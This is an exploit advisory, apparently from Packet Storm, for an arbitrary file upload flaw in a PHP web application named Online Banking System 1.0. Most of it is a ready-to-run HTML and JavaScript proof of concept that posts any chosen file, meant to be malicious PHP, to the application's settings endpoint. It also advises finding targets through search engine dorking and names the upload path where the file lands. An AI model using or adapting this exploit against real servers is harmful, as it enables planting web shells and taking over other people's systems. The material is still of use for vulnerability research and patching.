Online Banking System 1.0 Arbitrary File Upload

🗓️ 22 Aug 2024 00:00:00Reported by indoushkaType
packetstorm🔗 packetstormsecurity.com👁 283 Views
Online Banking System 1.0 Arbitrary File Upload Vulnerability, Risk and Preventio
`=============================================================================================================================================  
| # Title : Online Banking System 1.0 Remote File Upload Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/banking.zip |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This HTML page is designed to remotely upload PHP malicious files directly.  
  
[+] Here’s a breakdown of its components and functionality:  
  
HTML Structure:  
DOCTYPE & <html>: Defines the document type and language.  
<head>: Contains meta-information about the document like character encoding and viewport settings, and the title of the page.  
<body>: Contains the main content of the page.  
  
Form Elements:  
<form id="uploadForm">: A form with the ID "uploadForm" that contains input fields and a button for file upload.  
<label> and <input> fields: Collect information from the user:  
Target IP: IP address where the file will be uploaded.  
Attacker IP: The IP address of the attacker (though this field is not used in the script).  
Attacker Port: The port number of the attacker (not used in the script).  
File Input: Allows the user to select a file to upload.  
<button>: A button that triggers the file upload process when clicked.  
  
JavaScript Functionality:  
uploadFile(): Function executed when the "Upload File" button is clicked.  
Collects input values: Retrieves values from the input fields and the selected file.  
Validation: Checks if all fields are filled and a file is selected. Alerts the user if any field is missing.  
FormData Object: Creates a FormData object to package the file and additional data (name with the value 'PWNED').  
fetch API: Sends a POST request to the target IP with the file attached:  
URL: http://${targetIP}/banking/classes/SystemSettings.php?f=update_settings  
Response Handling: Logs success or failure based on the server's response. If the response is '1', it indicates success; otherwise, it logs an error.  
  
Security Note:  
Potential Risk: This script is for educational purposes, and its functionality (uploading a file to a specified server) could be misused.   
It’s crucial to ensure that any file upload functionality is properly secured and validated to prevent unauthorized access or attacks.  
  
  
[+] Line 45 set url of target.  
  
[+] Choose the target IP .  
  
[+] Put any IP address of your own .  
  
[+] Put any port .  
  
[+] The path to upload the files : http://localhost/banking/uploads/  
  
[+] Save Code as html :  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>Direct File Upload</title>  
</head>  
<body>  
  
<h2>Direct File Upload</h2>  
<form id="uploadForm">  
<label for="targetIP">Target IP:</label>  
<input type="text" id="targetIP" name="targetIP" required><br><br>  
  
<label for="attackerIP">Attacker IP:</label>  
<input type="text" id="attackerIP" name="attackerIP" required><br><br>  
  
<label for="attackerPort">Attacker Port:</label>  
<input type="number" id="attackerPort" name="attackerPort" required><br><br>  
  
<label for="fileInput">Select File:</label>  
<input type="file" id="fileInput" name="fileInput" required><br><br>  
  
<button type="button" onclick="uploadFile()">Upload File</button>  
</form>  
  
<script>  
function uploadFile() {  
const targetIP = document.getElementById('targetIP').value;  
const attackerIP = document.getElementById('attackerIP').value;  
const attackerPort = document.getElementById('attackerPort').value;  
const fileInput = document.getElementById('fileInput').files[0];  
  
if (!targetIP || !attackerIP || !attackerPort || !fileInput) {  
alert('Please fill in all fields and select a file.');  
return;  
}  
  
const formData = new FormData();  
formData.append('name', 'PWNED');  
formData.append('img', fileInput);  
  
console.log("(+) Uploading file...");  
  
fetch(`http://${targetIP}/banking/classes/SystemSettings.php?f=update_settings`, {  
method: 'POST',  
body: formData  
})  
.then(response => response.text())  
.then(data => {  
if (data === '1') {  
console.log("(+) File upload seems to have been successful!");  
} else {  
console.log("(-) Oh no, the file upload seems to have failed!");  
}  
})  
.catch(error => console.error("(-) Error during file upload:", error));  
}  
</script>  
  
</body>  
</html>  
  
  
  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`
22 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4